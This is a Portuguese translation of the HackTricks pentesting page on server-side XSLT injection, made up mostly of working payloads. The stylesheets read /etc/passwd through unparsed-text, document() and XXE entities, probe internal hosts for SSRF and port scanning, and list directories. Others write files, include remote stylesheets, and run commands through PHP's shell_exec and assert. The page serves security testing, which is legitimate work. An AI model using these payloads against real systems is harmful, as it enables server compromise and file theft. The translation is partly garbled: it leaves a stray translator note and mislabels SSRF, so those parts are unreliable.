hacktricks/pentesting-web/xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md
2023-06-06 18:56:34 +00:00

20 KiB
Raw Blame History

Injeção de XSLT do lado do servidor (Transformações de Linguagem de Folha de Estilo Extensível)

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

É usado para transformar documentos XML em outro tipo. Versões: 1, 2 e 3 (1 é a mais usada).
A transformação pode ser feita no servidor ou no navegador).

Os frameworks mais usados são: Libxslt (Gnome), Xalan (Apache) e Saxon (Saxonica).

Para explorar esse tipo de vulnerabilidade, você precisa ser capaz de armazenar tags xsl no lado do servidor e, em seguida, acessar esse conteúdo. Um exemplo desse tipo de vulnerabilidade pode ser encontrado em https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/

Exemplo - Tutorial

sudo apt-get install default-jdk
sudo apt-get install libsaxonb-java libsaxon-java

{% code title="xml.xml" %}

<?xml version="1.0" encoding="UTF-8"?>
<catalog>
    <cd>
        <title>CD Title</title>
        <artist>The artist</artist>
        <company>Da Company</company>
        <price>10000</price>
        <year>1760</year>
    </cd>
</catalog>

{% code title="xsl.xsl" %}

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
    <html>
    <body>
    <h2>The Super title</h2>
    <table border="1">
        <tr bgcolor="#9acd32">
            <th>Title</th>
            <th>artist</th>
        </tr>
        <tr>
        <td><xsl:value-of select="catalog/cd/title"/></td>
        <td><xsl:value-of select="catalog/cd/artist"/></td>
        </tr>
    </table>
    </body>
    </html>
</xsl:template>
</xsl:stylesheet>

{% endcode %}

Executar:

$ saxonb-xslt -xsl:xsl.xsl xml.xml
 
Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl:
  Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<html>
   <body>
      <h2>The Super title</h2>
      <table border="1">
         <tr bgcolor="#9acd32">
            <th>Title</th>
            <th>artist</th>
         </tr>
         <tr>
            <td>CD Title</td>
            <td>The artist</td>
         </tr>
      </table>
   </body>
</html>

Impressão digital

{% code title="detection.xsl" %}

<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
 Version: <xsl:value-of select="system-property('xsl:version')" /><br />
 Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
 Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
 <xsl:if test="system-property('xsl:product-name')">
 Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:product-version')">
 Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:is-schema-aware')">
 Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:supports-serialization')">
 Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:supports-backwards-compatibility')">
 Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
 </xsl:if>
</xsl:template>
</xsl:stylesheet>

{% endcode %}

E execute

$saxonb-xslt -xsl:detection.xsl xml.xml 

Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
  Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<h2>XSLT identification</h2><b>Version:</b>2.0<br><b>Vendor:</b>SAXON 9.1.0.8 from Saxonica<br><b>Vendor URL:</b>http://www.saxonica.com/<br>

Ler arquivo local

{% code title="read.xsl" %}

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
</xsl:template>
</xsl:stylesheet>

{% endcode %} (This tag should not be translated)

$ saxonb-xslt -xsl:read.xsl xml.xml

Warning: at xsl:stylesheet on line 1 column 111 of read.xsl:
  Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<?xml version="1.0" encoding="UTF-8"?>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

SSRF (Falsificação de solicitação entre sites)

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:include href="http://127.0.0.1:8000/xslt"/>
<xsl:template match="/">
</xsl:template>
</xsl:stylesheet>

Versões

Pode haver mais ou menos funções dependendo da versão XSLT utilizada:

Fingerprint

Faça o upload disso e obtenha informações.

<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
 Version: <xsl:value-of select="system-property('xsl:version')" /><br />
 Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
 Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
 <xsl:if test="system-property('xsl:product-name')">
 Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:product-version')">
 Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:is-schema-aware')">
 Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:supports-serialization')">
 Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:supports-backwards-compatibility')">
 Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
 </xsl:if>
</xsl:template>
</xsl:stylesheet>

SSRF (Falsificação de solicitação entre sites)

<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
</esi:include>

Injeção de Javascript

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<script>confirm("We're good");</script>
</xsl:template>
</xsl:stylesheet>

Listagem de diretórios (PHP)

Opendir + readdir

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('opendir','/path/to/dir')"/>
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
</xsl:template></xsl:stylesheet>

Assert (var_dump + scandir + false)

Este método é semelhante ao anterior, mas em vez de usar a função system(), usamos a função assert(). A função assert() é usada para verificar se uma expressão é verdadeira ou falsa. Se a expressão for falsa, a função irá gerar um erro fatal e o script irá parar. Se a expressão for verdadeira, a função não fará nada.

O código abaixo usa a função assert() para executar o comando var_dump(scandir('/')). O resultado será impresso na página.

<?php
assert(var_dump(scandir('/')) || false);
?>

Este método é útil quando a função system() está desabilitada, mas a função assert() está habilitada. No entanto, é importante lembrar que a função assert() pode ser desabilitada em algumas configurações do PHP.

<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
    <body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
        <xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" />
        <br />
    </body>
</html>

Ler arquivos

Interno - PHP

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', utf-8')"/>
</xsl:template>
</xsl:stylesheet>

Interno - XXE

XXE (External Entity Injection) é uma vulnerabilidade que permite que um invasor leia arquivos no servidor. No entanto, em alguns casos, o invasor pode não ter acesso direto ao servidor, mas pode explorar a vulnerabilidade XXE para ler arquivos internos do servidor.

Isso é possível porque o XML pode incluir entidades externas que podem ser carregadas a partir de um URL. Se o servidor estiver configurado para permitir o acesso a recursos internos, o invasor pode explorar essa vulnerabilidade para ler arquivos internos do servidor.

Para explorar essa vulnerabilidade, o invasor precisa enviar um XML malicioso que inclua uma entidade externa que aponte para um arquivo interno do servidor. O servidor tentará carregar o arquivo e, se o invasor tiver sucesso, ele poderá ler o conteúdo do arquivo.

Para se proteger contra essa vulnerabilidade, é importante configurar o servidor para não permitir o acesso a recursos internos. Além disso, é importante validar todas as entradas XML para garantir que elas não contenham entidades externas maliciosas.

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
&ext_file;
</xsl:template>
</xsl:stylesheet>

Através do HTTP

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
<!DOCTYPE xsl:stylesheet [
<!ENTITY passwd SYSTEM "file:///etc/passwd" >]>
<xsl:template match="/">
&passwd;
</xsl:template>

Interno (função PHP)

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('file_get_contents','/path/to/file')"/>
</xsl:template>
</xsl:stylesheet>
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
    <body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
        <xsl:copy-of name="asd" select="php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" />
        <br />
    </body>
</html>

Varredura de porta

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="document('http://example.com:22')"/>
</xsl:template>
</xsl:stylesheet>

Escrever em um arquivo

XSLT 2.0

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:result-document href="local_file.txt">
<xsl:text>Write Local File</xsl:text>
</xsl:result-document>
</xsl:template>
</xsl:stylesheet>

Extensão Xalan-J


Xalan-J é uma implementação do processador XSLT em Java. Ele suporta extensões Java que podem ser usadas em folhas de estilo XSLT. Essas extensões permitem que o processador XSLT chame funções Java definidas pelo usuário durante a transformação. As extensões Java são carregadas dinamicamente pelo processador XSLT durante a transformação.

As extensões Java são definidas em um arquivo JAR separado que é carregado pelo processador XSLT. O arquivo JAR deve conter uma classe que implementa a interface org.apache.xalan.extensions.ExtensionHandler. Essa classe é responsável por manipular as chamadas de função Java feitas pelo processador XSLT.

Um atacante pode explorar uma vulnerabilidade de injeção de código XSLT para carregar uma extensão Java maliciosa durante a transformação. A extensão Java maliciosa pode ser usada para executar código arbitrário no contexto do processo do servidor XSLT. Isso pode levar a um comprometimento completo do servidor.

Para evitar a injeção de código XSLT, é importante validar todas as entradas do usuário que são usadas em folhas de estilo XSLT. As entradas do usuário devem ser validadas para garantir que elas não contenham código malicioso. Além disso, as extensões Java devem ser desativadas ou restritas a um conjunto limitado de classes confiáveis.

<xsl:template match="/">
<redirect:open file="local_file.txt"/>
<redirect:write file="local_file.txt"/> Write Local File</redirect:write>
<redirect:close file="loxal_file.txt"/>
</xsl:template>

Outra forma de escrever arquivos no PDF

Incluir XSL externo

<xsl:include href="http://extenal.web/external.xsl"/>
<?xml version="1.0" ?>
<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>

Executar código

php:function

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('shell_exec','sleep 10')" />
</xsl:template>
</xsl:stylesheet>
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)));')" />
<br />
</body>
</html>

Executando código usando outros frameworks no PDF

Mais linguagens

Nesta página, você pode encontrar exemplos de RCE em outras linguagens: https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET (C#, Java, PHP)

Acessando funções estáticas PHP de classes

A seguinte função chamará o método estático stringToUrl da classe XSL:

<!--- More complex test to call php class function-->
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"
version="1.0">
<xsl:output method="html" version="XHTML 1.0" encoding="UTF-8" indent="yes" />
<xsl:template match="root">
<html>
<!-- We use the php suffix to call the static class function stringToUrl() -->
<xsl:value-of select="php:function('XSL::stringToUrl','une_superstring-àÔ|modifier')" />
<!-- Output: 'une_superstring ao modifier' -->
</html>
</xsl:template>
</xsl:stylesheet>

Lista de Detecção de Força Bruta

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %}

Referências

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥